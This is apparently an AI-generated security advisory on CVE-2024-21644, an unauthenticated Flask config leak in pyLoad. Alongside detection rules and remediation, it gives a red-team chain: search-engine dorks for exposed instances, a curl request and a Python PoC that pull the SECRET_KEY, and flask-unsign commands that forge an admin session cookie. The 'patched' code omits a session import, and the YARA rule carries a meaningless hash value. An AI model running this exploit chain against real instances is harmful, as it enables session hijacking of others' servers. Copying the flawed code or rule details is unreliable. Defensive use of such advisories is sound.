CVE-2024-21644

Executive Summary

CVE-2024-21644 is a critical access control vulnerability in pyLoad, an open-source download manager written in Python. An unauthenticated attacker can access the Flask application configuration by browsing to a specific URL (/render/info.html). This exposes sensitive data, including the SECRET_KEY, which is used for session signing and other cryptographic operations. The vulnerability has a CVSS score of 7.5 (High) and is trivial to exploit. A public proof-of-concept (PoC) and a Nuclei template are available, increasing the risk of widespread exploitation. The vendor has patched the issue in version 0.5.0b3.dev77.

Supply Chain & Package Security

pyLoad is distributed via PyPI (pip install pyload). The vulnerable package versions are those prior to 0.5.0b3.dev77. Organizations using pyLoad should immediately audit their deployments and update to the patched version. The exposure of the SECRET_KEY can lead to session hijacking, which could be leveraged for further supply chain attacks if the pyLoad instance is used to manage downloads of other software packages.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete loss of confidentiality; the SECRET_KEY and other config data are exposed.
• Integrity (I): None (N) - No direct impact on data integrity.
• Availability (A): None (N) - No impact on system availability.

Threat Level: High. The combination of a public PoC, low attack complexity, and no required authentication makes this a high-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability resides in the Flask application's routing logic. The endpoint /render/info.html is intended to display system information, but it lacks proper access control checks. When an unauthenticated user sends a GET request to this endpoint, the server returns a rendered HTML page containing the Flask application's configuration object.

The Flask configuration object (app.config) contains all environment variables and settings loaded by the application. This includes the SECRET_KEY, which is used to cryptographically sign session cookies. If an attacker obtains the SECRET_KEY, they can forge session cookies, impersonate any user (including administrators), and potentially execute arbitrary code if the session is used for further actions.

The vulnerable code path likely looks like this:

@app.route('/render/info.html')
def info():
    # Missing authentication check
    return render_template('info.html', config=app.config)

The patched version adds an authentication decorator or check before rendering the template.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

from flask import Flask, render_template

app = Flask(__name__)
app.config['SECRET_KEY'] = 'super-secret-key'

@app.route('/render/info.html')
def info():
    # No authentication check
    return render_template('info.html', config=app.config)

Patched Code (Conceptual):

from flask import Flask, render_template, abort
from functools import wraps

app = Flask(__name__)
app.config['SECRET_KEY'] = 'super-secret-key'

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if not session.get('logged_in'):
            abort(401)  # Unauthorized
        return f(*args, **kwargs)
    return decorated_function

@app.route('/render/info.html')
@login_required
def info():
    return render_template('info.html', config=app.config)

The key difference is the addition of the @login_required decorator, which checks for a valid session before allowing access to the endpoint.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running pyLoad version < 0.5.0b3.dev77.
• Network access to the pyLoad web interface (default port 8000).

Exploitation Steps:

1. Identify Target: Use Shodan or FOFA with the provided dorks to find vulnerable instances.

2. Send Request: Use curl or a web browser to access the vulnerable endpoint.

   curl http://target:8000/render/info.html
   

3. Extract SECRET_KEY: The response will contain the Flask configuration. Look for the SECRET_KEY value. It may be HTML-encoded (e.g., 'SECRET_KEY': 'your-secret-key').

4. Forge Session Cookie: Use a tool like flask-unsign to forge a session cookie.

   pip install flask-unsign
   flask-unsign --sign --cookie "{'logged_in': True}" --secret 'your-secret-key'
   

5. Access Admin Functions: Use the forged cookie to access authenticated endpoints, such as the admin panel or download management features.

PoC Script (Python):

import requests
import sys

def exploit(target_url):
    vuln_url = target_url.rstrip('/') + '/render/info.html'
    try:
        r = requests.get(vuln_url, timeout=10)
        if r.status_code == 200 and 'SECRET_KEY' in r.text:
            print("[+] Vulnerable! Extracting config...")
            print(r.text)
        else:
            print("[-] Not vulnerable or target is patched.")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Detection & Response)

Detection Steps:

1. Monitor Logs: Look for GET requests to /render/info.html from unauthenticated sources.
2. Analyze Network Traffic: Use a network monitor to detect requests to the vulnerable path.
3. Check for Forged Sessions: Examine session cookies for anomalies. If the SECRET_KEY is known to be compromised, invalidate all sessions and rotate the key.

Honeypot Strategy:

Deploy a decoy pyLoad instance with a fake SECRET_KEY. Monitor access to /render/info.html and alert on any requests. This can help identify scanning activity.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /render/info.html from external IPs.
  • Response body containing SECRET_KEY and other Flask config variables.
• Host:
  • Unauthorized access to the pyLoad web interface.
  • Presence of forged session cookies in logs.
• File:
  • Modified pyLoad configuration files (e.g., pyload.cfg) if the attacker gains admin access.

Detection Engineering

YARA Rule

rule CVE_2024_21644_pyLoad_Config_Exposure {
    meta:
        description = "Detects HTTP responses containing pyLoad Flask config exposure"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-21644"
        hash = "490a00463044022008e96200384ae80da986e5f23e567efae6b827c715092521e0b3fbb69905f1b8022076e1f8bcd0e982ad38d57cdadf8f9db04649efe495f387787da7c5130053edb2"
    strings:
        $s1 = "SECRET_KEY"
        $s2 = "pyload_session"
        $s3 = "'SECRET_KEY':"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-21644 - pyLoad Flask Config Exposure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP GET requests to the vulnerable /render/info.html endpoint in pyLoad.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21644
    - https://github.com/advisories/GHSA-mqpq-2p68-46fv
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: GET
        cs-uri-stem: '/render/info.html'
    condition: selection
falsepositives:
    - Legitimate admin access (should be rare)
level: high
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-21644 - pyLoad Flask Config Exposure"; flow:to_server,established; content:"GET"; http_method; content:"/render/info.html"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-21644

info:
  name: pyLoad Flask Config - Access Control
  author: West-wise
  severity: high
  description: |
    pyLoad is the free and open-source Download Manager written in pure Python. Any unauthenticated user can browse to a specific URL to expose the Flask config, including the `SECRET_KEY` variable. This issue has been patched in version 0.5.0b3.dev77.
  impact: |
    Unauthenticated attackers can access the Flask SECRET_KEY and other sensitive configuration variables, potentially enabling session hijacking or other attacks.
  remediation: |
    Update pyLoad to version 0.5.0b3.dev77 or later.
  reference:
    - https://github.com/advisories/GHSA-mqpq-2p68-46fv
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21644
    - https://github.com/ltranquility/CVE-2024-21644-Poc
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-21644
    cwe-id: CWE-284
    epss-score: 0.86508
    epss-percentile: 0.99419
    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pyload
    product: pyload
    shodan-query:
      - html:"pyload"
      - http.title:"login - pyload"
      - http.html:"pyload"
      - http.title:"pyload"
    fofa-query:
      - title="login - pyload"
      - body="pyload"
      - title="pyload"
    google-query:
      - intitle:"login - pyload"
      - intitle:"pyload"
    zoomeye-query: app="pyLoad"
  tags: cve,cve2024,python,pip,pyload,access-control,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/render/info.html"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'SECRET_KEY':"
          - "'pyload_session'"
        condition: and

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Update pyLoad: Upgrade to version 0.5.0b3.dev77 or later.

   pip install --upgrade pyload
   

2. Restrict Network Access: If immediate patching is not possible, restrict access to the pyLoad web interface using a firewall or reverse proxy (e.g., Nginx, Apache) to allow only trusted IPs.
3. Rotate SECRET_KEY: After patching, change the SECRET_KEY in the pyLoad configuration to invalidate any potentially forged sessions.
4. Invalidate All Sessions: Force all users to re-authenticate.

Long-Term Mitigations:

• Implement Web Application Firewall (WAF): Deploy a WAF with rules to block requests to /render/info.html from unauthenticated sources.
• Regular Security Audits: Conduct periodic code reviews and vulnerability scans.
• Principle of Least Privilege: Ensure that the pyLoad process runs with the minimum necessary permissions.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For further analysis or remediation assistance, contact your security team.

{/* [Security Hash: DDB5BCC83260123B0209B8EA] */}